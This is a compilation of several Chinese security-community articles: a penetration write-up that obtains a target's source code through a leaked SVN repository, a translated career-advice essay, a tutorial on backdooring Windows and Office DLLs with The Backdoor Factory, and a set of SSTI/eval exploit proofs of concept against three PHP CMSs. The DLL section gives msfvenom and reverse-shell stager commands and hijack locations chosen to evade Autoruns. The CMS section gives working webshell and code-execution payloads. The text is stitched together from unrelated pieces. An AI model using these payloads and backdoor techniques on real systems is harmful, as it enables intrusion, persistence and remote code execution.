图6获取其它用户信息
图7获取email地址信息
5.下载获取源代码
（1）安装TortoiseSVN
TortoiseSVN是一款代码
管理工具，其官方网站地址为<https://tortoisesvn.net/，可以根据实际操作系统选择对应的安装版本，Windows下最新版本为1.9.5，旧版本可以到sourceforge站点下载（https://sourceforge.net/projects/tortoisesvn/files/），TortoiseSVN软件安装比较简单，按照提示进行即可。>
（2）下载代码设置
在磁盘上新建一个文件夹，该文件夹一般对应与代码项目的名称，例如在本地新建一个文件夹“Sh****nHuis”其对应项目<http://code.taobao.org/svn/Sh****nHuis，选中刚才创建的文件夹，右键单击在弹出的菜单中选择“SVN>
Checkout”，如图8所示。
图8使用checkout命令来获取源代码
（3）设置URL库
在弹出的Checkout中的“URL of
Repository（URL库）”中输入代码地址<http://code.taobao.org/svn/Sh****nHuis，然后单击“OK”按钮开始下载代码，如果代码是保护状态则会提示输入用户名和密码，然后系统开始自动下载代码。>
图9设置URL库
（4）下载源代码
如果网络顺畅，TortoiseSVN就会自动下载服务器上面的源代码，如图10所示，逐个下载所有的资料，源代码下载完成后OK按钮会由灰色（不可用）变成可用状态。
图10获取源代码程序
（5）本地查看源代码
在本地文件夹下，通过notepad++工具对代码进行查看，如图11所示，如果权限许可还可以直接更新源代码。
图11查看源代码
6.后续渗透
获取其源代码后，在源代码中发现有大量的数据库连接信息，对MSSQL和Mysql如果没有做安全限制，可以直接连接获取数据库中的数据，如果条件允许还可以直接获取服务器权限，有关渗透不在本文中进行介绍。
7.总结
在渗透过程中，信息收集的完善程度将直接影响最终的渗透结果，因此完美的信息收集应该是多方位，多层次，需要对数据进行挖掘和分析，再挖掘，再分析，再利用。本文通过泄漏的项目代号和开发作者等信息，利用社工查询，成功获取了其开发的大量源代码程序，对目标的成功渗透发挥了重要的作用。 | 社区文章 |
原文：[《So you want to work in security?》](http://ifsec.blogspot.jp/2018/02/so-you-want-to-work-in-security-and-for.html "《So you want to work in
security?》")
译者：Murasaki & 爱发呆的sakura & Cytosine
来源：<https://zhuanlan.zhihu.com/p/33678187>
已经有很多人（包括我谷歌的同事, [Parisa](https://medium.freecodecamp.org/so-you-want-to-work-in-security-bc6c10157d23 "Parisa") 和
[Michal](https://lcamtuf.blogspot.ch/2016/08/so-you-want-to-work-in-security-but-are.html "Michal") 已经就这个话题写过自己的感受, 我建议你仔细阅读.我知道我写的这些可能已经有人说过了, 但是每隔一段时间,
我总是会再次遇到这个问题, 于是我决定写下自己的经验.
请注意, 我是一个应用安全研究员, 我是从漏洞研究/安全审查/ bug 寻找/黑客攻击等角度来写这篇文章的.在安全领域还有很多其他的道路, 比如安全研发,
恶意软件分析等等, 这些我并不熟悉.
那么, 我是谁？为什么你要在这个话题上信任我呢？嗯, 首先我不是说你应该完全信任我, 因为每个人的经验和每个人的道路都是有所不同的.但如果您对我感到好奇,
我可以告诉您, 我现在是 [Google Project Zero](https://googleprojectzero.blogspot.ch
"Google Project Zero") 的成员, 我曾经是谷歌安全团队的成员,
是[多个安全工具](https://github.com/google/domato "多个安全工具")的作者, 如果你在这个博客上滚动足够长的时间,
你会发现我已经从事安全工作十多年了.
我认识的安全研究员来自很多不同的背景, 但是我的背景有所不同, 我有相当强的学术背景, 这在我的同行中是非常不典型的,
当然这并不是进入安全领域的要求.然而, 我所知道的安全研究员中的大多数人都有一些共同点, 这里我们来看第一条：
#### 自己做点东西
对于我所知道的业内大多数人来说, 在从事相关工作之前, 安全只是一项业余爱好.当然, 如果你只是考虑如何学习安全, 在告诉你如何开始之前,
告诉你自己做点东西并不会有什么帮助.继续阅读, 我会在下面提到如何开始. 但是首先, 还有一件事你应该注意 (不要让它阻碍你, 我们将在后面看到如何解决它)
#### 现在开始学习安全, 比十年前困难的多
我怀疑不是每个人都会承认, 但是安全在过去这些年, 确实有了很大提高.是的, 如果你足够深入的话, 你将会发现用十多年前的技术仍然可以运行的软件或者硬件,
例如 Web 浏览器.当我正在研究我的第一个 Windows 漏洞利用（堆溢出）时, 我感到十分沮丧, 因为微软最近引入了新的safe unlink 机制,
所以我读到的一些众所周知的堆漏洞利用技术已经不再有效. 10 年后, 刚开始学习安全的人们不仅需要处理 safe unlink 和 stack cookie
, 还需要知道 SafeSEH / SEHOP, DEP, ASLR, CFG, ACG 还有浏览器的 sandbox 等等.并不限于 Web 浏览器,
如果你对比一下十年前和现在的 Web 应用框架, 你会发现在安全技术上已经了显著的不同.
不要害怕上面这一段文字, 那么你应该如何对付日益陡峭的学习曲线呢?
#### 利用好学习资源
一般而言, 刚开始入门的难度比较高, 实际上, 现在的学习资源也比以前要丰富.
但是另一个警告是: **你需要能够走出去并且自主学习** , 没有人会牵着你的手, 或者成为你的导师 (可能总是有厉害的师父来帮助学徒,
但是黑客很少这样做) . 如果你喜欢按照预先设定的课程进行 (就像我承认的我的大部分教育所做的那样) , 那么你可能就不会在安全方面走得太远.
在获得正确的学习资源之前, 您需要正确地提问. 谷歌搜索 “如何成为黑客” 和类似的问题, 在现在仍然会得到与以前一样的胡说八道. 相反,
请尝试更加细致的问题, 例如:
1. 我感兴趣的这个软件/硬件是如何工作的？ 它基于什么技术？ 有我可以阅读的源代码？教程? 图书吗？
2. 有人已经设法成功破解了我想要破解的这一软件/硬件吗？ 他们发布了 WriteUp 吗？Exp 呢？ 会议介绍呢？ 我真的明白他们是怎么做的了么？
由此可见, 你自己必须在技术上相当不错, 以了解由别人制作的真实软件或硬件是如何工作的. 虽然编写代码和阅读代码的技能并不完全相同, 但仍存在相当大的重叠,
所以如果您不习惯写代码, 在进一步深入研究安全之前, 您可能需要改进这一点.
不要忘记第二点. 虽然之前我对技术性的东西还算是比较好的, 但是直到我开始阅读其他人发布的漏洞研究和 Exp 后, 我才真正理解安全.
还有另一个警告: **当你遇到你不了解的东西时, 不要放弃.** 特别是在刚开始阅读各种资源时, 你遇到的很多问题. 跳过这些部分是简单的方法,
但也是错误的方法. 相反, 想想遇到的每一比特信息都是你不了解的, 把它们作为线索, 想想你还需要学习什么.
虽然我写到没有人会牵着你的手, 但这并不意味着你不应该提问. 事实上, 你应该自在一点. 人们不会为你而放下自己所做的工作, 但如果你卡住了,
他们可能会给你一个正确的方向.
#### 使用推特
拥护一个特定的社交网络看起来很奇怪, 但一个重要事实是很多安全团队都使用 Twitter 来分享新闻, 而且更重要的是那些最近的研究、漏洞、 PoC
、会议演讲和其他类似的链接. 我真的不知道这些是怎么发生的, 也许是短消息的形式让人们更方便地分享资源链接, 而不用受到漫长而不必要的讨论的困扰. 所以,
在 Twitter 上找那些研究或发表你感兴趣东西的人, 然后翻阅他们的推特吧.
除了 Twitter 以外, 你可以找到有趣资源的其他地方是 [r / netsec](https://www.reddit.com/r/netsec/
"r / netsec") 和 [Hacker News](https://news.ycombinator.com/ "Hacker News")
(尽管它除了安全性外还有其他的东西) . 你还可以看看安全会议的演讲和录音 (它们有很多, 但并不都是好的. 重点集中于技术性较强的那些会议) .
#### 打 CTF 是一种很好的学习方式
另一个我给你们的奇怪建议是我自己几乎从不玩 CTF , 但是还记得我写的有关难度曲线的内容吗 ? CTF 可以让你的学习经历更加循序渐进, 因为 CTF
的赛题有多种难度级别 (你通常可以通过每个赛题的分数来分辨) , 所以你可以从更简单的开始, 然后从那里开始一点点学习. 举个例子,
在关闭缓解措施之后练习漏洞利用. 知道这儿有一个 bug 或方式来解决它，也是一些安慰.
几乎每个星期在一个地方都有一个 CTF , 其中大部分都是可以在线解题, 你可以在这里找到时间安排. 如果你不能解决赛题, 不要忘了他人解题的
WriteUp .
CTF 可以成为一种很有趣的经历, 但当你学会一些东西之后, 别忘了继续研究真实世界的目标, 你可能会感到十分惊喜!
#### 但是不要害怕失败, 哪怕一次又一次.
现在漏洞研究的工作常常是让人十分沮丧的, **大部分你尝试的东西都不会成功** , 但你必须接受这一点. 但不要因此而泄气. 这不仅仅是发生在你身上,
对于每一个富有经验的研究员来说也是如此. 我们往往只能看到别人的成功, 却不知道背后的代价. 当你失败的时候, 在继续前进之前一定要弄明白失败的原因.
#### 你比你想象的更加聪明(反之亦然: 其他人并不像你想的那样聪明).
这可能是一个有争议的观点, 因为其他人提出了 “你不比开发者更聪明” 的建议. 虽然这是真实的, 对于业内很多人来说, 这是一个很好的建议,
但对许多刚刚入门或正在考虑入门的人来说, 这可能是错误的, 事实是, 在看到别的聪明人做什么之后, 如果自己没有在这个领域做任何事情,
就很容易怀疑自己的能力. 让我举个例子: 现在你可能听起来很奇怪, 但是当我开始把安全作为一种爱好时, 我认为我从来没有足够的能力去发现 Windows
中的漏洞。我从来没有尝试过，但是我偶然发现了我的第一个 Windows 漏洞：我 fuzz 了一些蹩脚的图像库，过了一段时间，我有一些崩溃样本.
而当我意外地点击 Windows 中的其中一个崩溃样本时，Windows 资源管理器崩溃了 - 这是 CVE-2008-3013。
另外一个例子: 在对一个软件进行审查的时候, 你可能会有一个想法, 然后想 “不，这太愚蠢了，开发人员肯定会想到这个”. 事实是, 他们经常没有.
公平地说, 那不是因为他们愚蠢, 那是因为他们当时想到了其他问题, 但是, 如果“我比他们聪明”的思维方式有助于突破你为自己设定的人为限制.
当你和别人, 特别是开发者交谈的时候, 请记住，他们是代码方面的专家，但是你是安全方面的专家.
#### 我如何证明自己的能力?
可以从赚钱开始: 很多公司都有 bug bounty program: Google, FB, MS, etc
即使你挖到的漏洞拿不到奖金, 但能帮助到他人, 仍然能够帮助证明你的实力.
挖漏洞并不是唯一的途径, 开发安全工具, 做防御性的研究, 同样是很有价值的.
#### 还有什么是我需要知道的?
安全研究员的人生可能并不像你想象的那么光鲜亮丽, 为了成为一个大牛, 你需要在电脑面前坐到天荒地老. 这是一份有挑战性的工作, 并且需要花费相当大的精力.
* * * | 社区文章 |
## 0x00 前言
在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor
Factory向EXE文件植入后门的方法，这次将要介绍向DLL文件植入后门的思路，演示一种DLL劫持的利用方法，总结该方法的特点，分析防御思路
## 0x01 简介
本文将要介绍以下内容：
·劫持自己的DLL，修复BUG
·劫持系统的DLL，绕过Autoruns的后门检测
## 0x02 利用思路
DLL同EXE文件的植入思路相同，也是通过修改程序的执行流程，跳转到Code Caves，执行payload，再返回至程序的正常流程
DLL同EXE文件最大的区别是多了导出函数的功能
在实现DLL劫持时，常常需要获得原DLL的导出函数，模拟导出函数，添加payload，实现利用
那么，The Backdoor Factory在DLL文件的后门植入上，是否要考虑导出函数呢？
下面进行测试，得出结论
## 0x02 编写程序进行测试
测试Dll testdll.dll：
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//MessageBox(NULL, NULL, NULL, 0);
//Sleep(5000);
printf("[+] DLL_PROCESS_ATTACHn");
case DLL_THREAD_ATTACH:
printf("[+] DLL_THREAD_ATTACHn");
case DLL_THREAD_DETACH:
printf("[+] DLL_THREAD_DETACHn");
case DLL_PROCESS_DETACH:
printf("[+] DLL_PROCESS_DETACHn");
break;
}
return TRUE;
}
void Export1()
{
printf("[+] Export1n");
}
导出函数为Export1
Dll加载程序 loader.exe：
#include <windows.h>
typedef void(*Export)();
int main(int argc, char* argv[])
{
Export exporttest;
printf("[*] LoadLibraryn");
HMODULE hDllLib = LoadLibrary("testdll.dll");
exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
exporttest();
Sleep(10000);
FreeLibrary(hDllLib);
printf("[*] FreeLibraryn");
return 0;
}
程序执行如下图，加载testdll.dll，调用导出函数Export1
使用The Backdoor Factory为DLL文件添加后门：
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次执行loader.exe，测试如下图
成功执行payload，但是改变了程序流程，无法正常返回FreeLibrary
需要对DLL进行调试,找到出错的原因
首先生成空的跳转模板：
`./backdoor.py -f testdll.dll -s cave_miner_inline`
选择.text段
执行Loader.exe，程序一切正常，那么就是中间的payload出了问题
使用Immunity Debugger打开新的testdll.dll，找到劫持的位置，payload保存在0x10005716
如下图
这里可以推测，payload只要能够保持堆栈平衡，那么就不会影响程序的正常执行
接下来，在0x10005716处填入我们的payload
可以使用CFF Explorer添加payload
首先定位payload起始点
PUSHAD
PUSHFD
对应的16进制代码为609C
在CFF Explorer中切换到Hex Editor视图，搜索609C,定位起始点0x0000571A
**注：**
通过Immunity Debugger获得的内存虚拟地址为0x1000571A，二者对应，位置正确
为了扩大payload空间，可以将后面的调整堆栈平衡代码整体后移
如下图
将0x0005772-0x0000579E的数据整体后移，中间填入0x90
选中该部分内容，右键-Copy-Hex
找到合适的位置，右键-Fill With…
完整操作如下图
依此方法，中间填入修改后的payload即可，完成Bug修复
通过Immunity Debugger查看DLL文件，可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样
如下图
**得出结论：**
对于DLL文件来说，劫持初始化部分造成的结果是在LoadLibrary时即可执行payload，如果想在程序加载DLL导出函数时执行payload，将跳转代码改到导出函数内即可
## 0x03 劫持系统的DLL
针对Office 2010，分享几个自己找到的DLL劫持利用位置
**1、劫持Word-审阅试图**
LOCALSVC.DLL，位于C:\Program Files\Common Files\microsoft shared\RR\Loc14
对该dll添加payload
`./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s
reverse_tcp_stager_threaded`
替换dll(需要管理员权限)，启动word.exe，切换至审阅视图，弹回meterpreter
测试如下图
**2、劫持word-插入-图片**
tiptsf.dll，位于C:\Program Files\Common Files\microsoft shared\ink
需要TrustedInstaller权限才能替换
关于如何获得TrustedInstaller权限，可参考文章《渗透技巧——Token窃取与利用》
**3、劫持word-文件**
也影响别的位置：
word -页面布局-主题-浏览主题
GrooveIntlResource.dll，位于C:\Program Files\Microsoft Office\Office14\2052
需要管理员权限
**4、劫持Excel-插入-图片**
MSPTLS.DLL，位于C:\Program Files\Common Files\microsoft shared\OFFICE14
需要管理员权限
以上测试如下图
**注:**
本节内容仅为了演示DLL劫持的一些利用方法，这些特殊的劫持位置只会在软件的特定功能打开时才会启动，所以能够绕过Autoruns的检测
## 0x04 防御
对于系统DLL，通过会带有微软签名，如果对DLL植入后门，签名会失效，这是一个老生常谈的问题
而对于第三方开发的软件，调用的第三方DLL不加签名，那么被利用的风险很大
## 0x05 小结
本文测试了使用The Backdoor
Factory向DLL文件植入后门的方法，介绍修复BUG的思路，分享了一种DLL劫持的利用方法，仅供测试，通过总结该利用方法的特点，简要介绍了防御方面需要注意的问题
> 本文为 3gstudent 原创稿件，授权嘶吼独家发布，如若转载，请注明原文地址：
> <http://www.4hou.com/technology/8205.html> | 社区文章 |
# 存在SSTI漏洞的CMS合集
## 前言
代码审计，考察的是扎扎实实的本领，CMS的漏洞的挖掘能力是衡量一个Web狗的强弱的标准，强网杯的时候，Web题目考的了一个CMS的代码审计，考察到了SSTI漏洞，菜鸡一枚的我过来汇总一下在PHP中的SSTI漏洞，忘能抛砖引玉，引起读者的共鸣。
## SSTI漏洞概述
### 概念
SSTI（服务端模板注入）和常见Web注入的成因一样，也是服务端接收了用户的输入，将其作为 Web 应用模板内容的一部分，在进行目标编译渲染的过程中，
**执行了用户插入的恶意内容** ，因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
具体的注入方式决定了其SSTI的由来。
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程。
## CMS中的SSTI漏洞汇总
这里找了几个CMS漏洞中的SSTI的例子，简单的复现和分析一下，说不定能找出一些共性的特点呢。
### 强网杯Cscms题目的SSTI
#### 环境搭建
win10+phpstudy: php5.6 apache2+mysql
#### POC
第一种
URL：index.php/gbook
留言数据：{cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
Shell：/index.php/gbook/lists/1?pwd=phpinfo();
第二种
URL:index.php/dance/search?key={cscmsphp}phpinfo();{/cscmsphp}
第二种的poc在强网比赛中好像是不能用，因为dance的模块好像是被阉割了。
#### 漏洞分析
核心的漏洞存在于
upload/cscms/app/models/Csskins.php
中的函数
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
不难看看出，这段代码使用危险函数`eval` 要找漏洞的话直接使用全局搜索的方法，找到这个函数的调用地点就好
调用的地方同样也是在这个文件中
//PHP代码解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);
关键点就在与控制`$str`变量，从上面可以判定出，如果最后传入的值是类似如下这种形式，php的代码是可以执行的。
{cscmsphp}phpinfo();{/cscmsphp}
接下来寻找如何控制`$str`的值，上述的代码存在与
upload/cscms/app/models/Csskins.php
的`template_parse`函数中
全局搜索`template_parse`函数
全局搜索之后，发现调用这个函数的地方有很多，但是我们要做的就是筛选出有漏洞的地方，但是什么是有漏洞的地方呢，一切输入都是有害的，所以，最好是能找到与数据库操作有关的内容，这些应该是我们要找的重点。
$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);
搜索之后会发现，所有的模板大概都是这样加载的，于是我们就把重点放在了变量Mark_Text上面
逐个分析之后，发现
/cscms/upload/cscms/app/models/Cstpl.php
文件里操作渲染的数据是从数据库中取出来的，具体的内容如下
public function gbook_list($page=1){
if(User_BookFun==0){ //网站关闭留言
return "<div id='cscms_gbook'>网站已经关闭了在线留言~!</div>";
}
$data_content='';
//装载模板
$Mark_Text=$this->load->view('gbook_ajax.html','',true);
//预先除了分页
$pagenum=getpagenum($Mark_Text);
preg_match_all('/{cscms:([\S]+)\s+(.*?pagesize=\"([\S]+)\".*?)}([\s\S]+?){\/cscms:\1}/',$Mark_Text,$page_arr);
print_r($page_arr);
print "fangzhang";
if(!empty($page_arr) && !empty($page_arr[2])){
print_r($page_arr[2]);
$field=$page_arr[1][0]; //前缀名
//组装SQL数据
$sqlstr=$this->Csskins->cscms_sql($page_arr[1][0],$page_arr[2][0],$page_arr[0][0],$page_arr[3][0],'id',0);
//总数量
$nums = $this->Csdb->get_allnums($sqlstr);
$Arr=spanajaxpage($sqlstr,$nums,$page_arr[3][0],$pagenum,'cscms.getlGbook',$page);
//判断页数大于2/3则倒序显示
if($Arr[6]>10 && $page > $Arr[6]*2/3){
$Arr[0] = current(explode(' LIMIT ', $Arr[0]));
if(strpos($Arr[0], ' desc ') !== false){
$Arr[0] = str_replace(' desc ', ' asc ', $Arr[0]);
}else{
$Arr[0] = str_replace(' asc ', ' desc ', $Arr[0]);
}
$spage = ($Arr[6]-$page)*$Arr[7];
$Arr[0] .= ' LIMIT '.$spage.','.$Arr[7];
}
if($nums>0){
$sorti=1;
$result_array=$this->db->query($Arr[0])->result_array();
foreach ($result_array as $row2) {
$datatmp=$this->Csskins->cscms_skins($field,$page_arr[0][0],$page_arr[4][0],$row2,$sorti);
$sorti++;
$data_content.=$datatmp;
}
}
print $data_content;
$Mark_Text=page_mark($Mark_Text,$Arr); //分页解析
$Mark_Text=str_replace($page_arr[0][0],$data_content,$Mark_Text);
}
unset($page_arr);
$Mark_Text=str_replace("[gbook:token]",get_token('gbook_token'),$Mark_Text);
$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);
return $Mark_Text;
}
在这个方法中，仔细观察一下那个`$sqlstr`变量
在页面打印出来了如下的sql语句，
select * from `v41_gbook` where cid=1 and fid=0 order by id desc
经过页数的判断之后sql语句为如下变量`$Arr[0]`打印如下：
select * from `v41_gbook` where cid=1 and fid=0 order by id desc LIMIT 0,5
结果保存在变量`data_content`中，
经过如下语句替换之后，查询的结果保存在最开始要渲染的那个变量`$Mark_Text`中
$Mark_Text=str_replace($page_arr[0][0],$data_content,$Mark_Text);
所以，我们可以通过控制的数据库的留言内容，来控制渲染的内容，
数据库的内容就是我们要插入的语句
我们可以通过这个方式留言
http://127.0.0.1/cscms/upload/index.php/gbook
抓包分析一下，可以看到使用的url是
/cscms/upload/index.php/gbook/add
在add的方法内，并没有什么过滤的方式
留言成之后通过这个方式访问
http://127.0.0.1/cscms/upload/index.php/gbook/lists/1?pwd=phpinfo();
以上就是整个代码审计的过程。
### 海洋CMS的SSTI
#### 环境搭建
win10+phpstudy: php5.6 apache2+mysql seacms(v6.53)
#### POC
POST /seacms(v6.53)/upload/search.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 208
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/seacms(v6.53)/upload/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BEEFHOOK=9BIcNvrOYJ3zap74fscXQTchPtgyOGlbcO0DyQhdo7jP6k3prnO82U6v9cOOCFh1Xl8HLO0Bl417ZGSN; bdshare_firstime=1516777076849; UM_distinctid=16127562db49-05b0f0ac5b7059-454c092b-cc7fe-16127562dba35b; CNZZDATA1234139=cnzz_eid%3D1799312719-1516783434-%26ntime%3D1516783434; a4207_times=1; PHPSESSID=80dadc311b51e7ae6d8e4e57ff626241
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
#### 漏洞分析
依旧是全局搜索`eval`函数，然后在一个函数里面看到了一个可疑的地方
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}
}
函数的功能大概就是把输入的数据进行渲染，然后输出到页面去
在渲染模板的内容的时候有一个最终执行if语句，如果if语句里面的内容可控，我们将其写成一个表达式，就可以造成代码注入，然后造成代码执行。下面来进行分析我们的任务很明确，`构造特殊的函数参数，得到一可以解析的php函数表达式`
依次的调用栈如下：
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");//$strIf
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf); //$iar
preg_match_all($labelRule,$content,$iar);//$content
function parseIf($content){ //
然后就是全局查找`parseIf`函数的调用情况
然后就到了漏洞最关键的地方。
在`search.php`页面中有一个函数`echoSearchPage();`
变量`$content`
经过无数次的替换最后到达了我们想去的函数，我们需要做的工作就是把if语句构造出一个表达式，从而执行我们想要的函数，或者说是构造一个shell，在`search.php`输入的变量都是可控的关键的代码如下：
if(intval($searchtype)==5)
{
$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
$jq = !empty($jq)?$jq:'全部';
$area = !empty($area)?$area:'全部';
$year = !empty($year)?$year:'全部';
$yuyan = !empty($yuyan)?$yuyan:'全部';
$letter = !empty($letter)?$letter:'全部';
$state = !empty($state)?$state:'全部';
$ver = !empty($ver)?$ver:'全部';
$money = !empty($money)?$money:'全部';
print base64_encode($content);
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
$content=$mainClassObj->parseSearchItemList($content,"type");
$content=$mainClassObj->parseSearchItemList($content,"year");
$content=$mainClassObj->parseSearchItemList($content,"area");
$content=$mainClassObj->parseSearchItemList($content,"letter");
$content=$mainClassObj->parseSearchItemList($content,"lang");
$content=$mainClassObj->parseSearchItemList($content,"jq");
$content=$mainClassObj->parseSearchItemList($content,"state");
$content=$mainClassObj->parseSearchItemList($content,"ver");
$content=$mainClassObj->parseSearchItemList($content,"money");
}else
{
$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
}
如果进入了这个循环的话，就可以不断的操作content的内容了，如果不知道内容的话可以把它打印出来的。
结合poc体会一下其构造的艺术感觉
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem(dir);
按照顺序在可以分别得到如下结果：
searchword={if{searchpage:year}
$content = str_replace("{seacms:searchword}",$searchword,$content);
得到
{if{searchpage:year}
year=:e{searchpage:area}}
$content = str_replace("{searchpage:year}",$year,$content);
得到
{if:e{searchpage:area}}
area=v{searchpage:letter}
$content = str_replace("{searchpage:area}",$area,$content);
得到
{if:ev{searchpage:letter}
letter=al{searchpage:lang}
$content = str_replace("{searchpage:letter}",$letter,$content);
得到
{if:eval{searchpage:lang}
yuyan=(join{searchpage:jq}
$content = str_replace("{searchpage:lang}",$yuyan,$content);
得到
{if:eval(join{searchpage:jq}
jq=($_P{searchpage:ver}
$content = str_replace("{searchpage:jq}",$jq,$content);
得到
{if:eval(join($_P{searchpage:ver}
ver=OST[9]))
$content = str_replace("{searchpage:ver}",$ver,$content);
得到
{if:eval(join($_Pver=OST[9]))
这样就相当与是得到了一个shell
真的很佩服这个漏洞的作者。
### 苹果CMS的SSTI
#### 环境搭建
win10+phpstudy: php5.6 apache2+mysql maccms_php_v8.x.zip
#### POC
http://127.0.0.1/maccms/index.PHP?m=vod-search
POST 数据wd={if-A:phpinfo()}{endif-A}
#### 漏洞分析
其实这个CMS的漏洞原理和上一个CMS的漏洞的原理差不多，关键的几个点还是对模板的数据没有严格的过滤，然后用了eval，然后实在if语句上出的问题。以下做简要的分析。
这个CMS的渲染的方式和上一个出奇的相似
核心的代码还是在渲染if语句里面
这是路径
maccms\inc\common\template.php
关键函数在861行左右
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
print_r($iar);
$arlen=count($iar[2]);
出奇的相似，我们的目的还是要控制`$this-H`的变化。因为正则匹配之后的结果都存入变量`$iar`中了，
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
$strThen= $iar[3][$m];
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
if (strpos(",".$strThen,$labelRule2)>0){
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
上面是核心的代码，关键还是控制 `$strif`变量，要是想控制变量还是要控制`$this->H`
